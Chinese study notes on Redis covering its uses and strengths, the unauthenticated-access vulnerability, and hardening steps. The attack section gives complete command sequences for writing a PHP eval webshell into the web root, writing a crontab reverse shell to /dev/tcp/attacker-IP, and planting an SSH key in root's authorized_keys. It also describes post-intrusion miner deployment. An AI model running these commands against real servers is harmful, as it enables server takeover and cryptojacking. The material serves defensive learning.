Redis
Redis 扮演了远程字典服务(Remote Dictionary Service) 的角色,其核心价值在于:
-
高性能读写:所有访问记录直接存储在内存中,读写速度极快,远胜于直接操作数据库,能轻松应对高并发访问。
-
结构化存储:Redis 的
key-value数据结构非常适合存储如图中所示的"网站访问记录"。 -
解耦与共享:Redis 作为独立的缓存层,使得多个网站应用(网站1、2、3)可以将数据统一存储在一处,实现了应用与数据存储的解耦,并方便了数据共享和管理。
什么是Redis未授权访问?
-
正常情况:Redis服务应设置密码认证,并只允许可信IP访问。
-
漏洞情况 :Redis默认安装后,为追求简单易用,默认没有密码 ,且可能绑定在
0.0.0.0:6379上。这意味着任何能连接到该服务器的人,都可以直接对Redis进行任意操作。
攻击者利用此漏洞完成入侵,主要依赖于Redis的两个关键功能:
-
动态修改配置 :攻击者可以远程命令Redis修改其数据存储路径(
dir)和数据库文件名(dbfilename)。 -
数据持久化机制:Redis可以将内存中的数据保存到磁盘文件。
主要攻击手法
1. 写入Webshell提权
-
前提 :Redis进程权限(通常是
redis用户)对Web目录有写权限。 -
操作流程:
-
修改Redis的持久化路径为网站根目录:
config set dir /var/www/html -
设置持久化文件名为Webshell文件:
config set dbfilename shell.php -
写入Webshell代码:
set x "<?php @eval($_POST['cmd']);?>" -
保存:
save
-
-
后果:攻击者可以通过蚁剑等工具直接控制网站服务器。
2. 写入定时任务提权
-
原理:利用Linux的定时任务(crontab)执行反弹Shell命令。
-
操作流程:
-
修改Redis路径为定时任务目录:
config set dir /var/spool/cron/ -
设置文件名为root用户的定时任务文件:
config set dbfilename root -
写入反弹Shell命令(如:
* * * * * /bin/bash -i >& /dev/tcp/攻击者IP/端口 0>&1) -
保存:
save
-
-
后果:服务器会定期向攻击者机器建立连接,提供一个可交互的Shell。
3. 写入SSH公钥免密登录
-
前提 :服务器开启了SSH服务,且Redis进程有权限读写
/root/.ssh/目录。 -
操作流程:
-
攻击者本地生成SSH密钥对:
ssh-keygen -t rsa -
将公钥文件内容写入Redis:
flushall→set x "\n\n<公钥内容>\n\n"(\n是为了避免与原有数据混淆) -
修改Redis路径为SSH密钥目录:
config set dir /root/.ssh/ -
设置文件名为
authorized_keys:config set dbfilename authorized_keys -
保存:
save
-
-
后果 :攻击者可以直接使用对应的私钥通过SSH无密码登录服务器,并获得root权限。这正是图1中第5点"生成SSH文件,实现免密登录"的具体实现方式。
入侵后的行为
一旦通过上述任何一种方式获得权限(尤其是root权限)
-
巩固权限 :替换系统命令(如
ps,top,ls)为精心修改的版本,以隐藏挖矿进程和文件;删除可能存在的其他攻击者留下的挖矿程序。 -
清除竞争:扫描服务器端口,关闭其他挖矿程序占用的资源,确保自身能独占CPU/GPU进行挖矿。
-
部署木马:从远程服务器下载挖矿程序和守护脚本并执行。
-
长期潜伏:通过SSH免密登录、定时任务等方式建立持久化后门,即使服务器重启,木马也会再次复活。
加固方案
首先在网络层进行隔离,通过防火墙严格限制访问Redis端口的源IP,只允许特定的应用服务器连接,这是防止未授权访问的第一道屏障。在此基础上,强制启用认证机制,在redis.conf配置文件中使用requirepass指令设置一个高强度密码,确保只有经过授权的客户端才能连接。同时,应严格禁止不必要的远程访问,通过修改配置中的绑定地址为bind 127.0.0.1 ::1,使Redis服务仅监听本地回环地址,避免直接暴露在公网或内网中。为降低潜在攻击的影响范围,务必以降权方式运行Redis服务,创建并使用一个非root的专用用户(如redis用户)来启动和运行进程,遵循最小权限原则。建议修改默认服务端口,将广为人知的6379端口更改为一个非常用端口,这能有效规避互联网上自动化工具的批量扫描。最后,在应用层禁用高危命令,通过在配置文件中使用rename-command指令将FLUSHALL、CONFIG等危险命令重命名或直接设置为空字符串来禁用,防止数据被恶意篡改或清空。
Redis用途
Redis作为高性能内存数据库,其核心应用场景首先体现在缓存功能上。通过将频繁访问但很少修改的数据(如热门商品信息、页面模板)从慢速的关系型数据库(如MySQL)加载到高速的Redis内存中,能够极大减轻后端数据库的压力,并显著提升应用程序的响应速度。这一经典用法是Redis最广泛的应用场景,有效解决了高并发读取带来的性能瓶颈问题。
在分布式系统架构中,Redis解决了多个应用服务器之间的协同难题。通过实现分布式Session ,可将用户登录信息统一存储在Redis中,使服务实现无状态化,便于水平扩展;利用SET key value NX PX timeout命令实现的分布式锁 ,能确保对共享资源(如秒杀库存)的互斥访问;而基于原子操作INCR的分布式全局ID生成,则避免了传统数据库自增ID的性能瓶颈。此外,Redis的原子计数器特性还可用于文章阅读量统计,并结合多种数据结构实现API限流保护。
Redis丰富的数据结构为其多样化应用提供了坚实基础:List 类型可实现消息队列和最新消息列表;Set 类型支持抽奖活动和标签系统,能高效计算标签交集/并集;ZSet有序集合则是实现游戏排行榜、热搜榜等排序功能的理想选择。这些特性使得Redis不仅是一个简单的缓存工具,更成为了支撑现代高并发应用的核心组件。
Redis优势
| 核心优势 | 具体表现 | 核心价值 |
|---|---|---|
| 数据类型丰富,应用场景广泛 | 字符串 (String):缓存、计数器 列表 (List):消息队列、最新文章列表 集合 (Set):抽奖、共同好友(求交集) 有序集合 (ZSet):排行榜 哈希 (Hash):存储对象信息(如用户信息) | 开发者无需在应用层手动实现复杂逻辑,直接使用Redis命令即可,极大提升了开发效率和性能。 |
| 2纯内存的数据结构,读写速度快 | 内存访问:数据存储在内存(RAM),读写速度(纳秒级)远超磁盘,避免I/O瓶颈。 单线程模型:避免多线程的上下文切换和竞争条件,操作具原子性,设计更简单稳定。 | 极高的吞吐量和极低的延迟。可达每秒数十万甚至百万次读写,非常适合秒杀、实时排行榜等高性能要求场景。 |
| 功能特性丰富 | 持久化:支持RDB(快照)和AOF(日志),防止数据丢失。 事务:保证命令原子性执行。 Pipeline (管道):批量操作,减少网络往返,提升性能。 多语言支持:易集成。 集群分布式:支持数据分片和高可用,可横向扩展。 | 功能完备、生产就绪。不仅速度快,更具备了企业级生产环境所需的可靠性、可扩展性和易用性。 |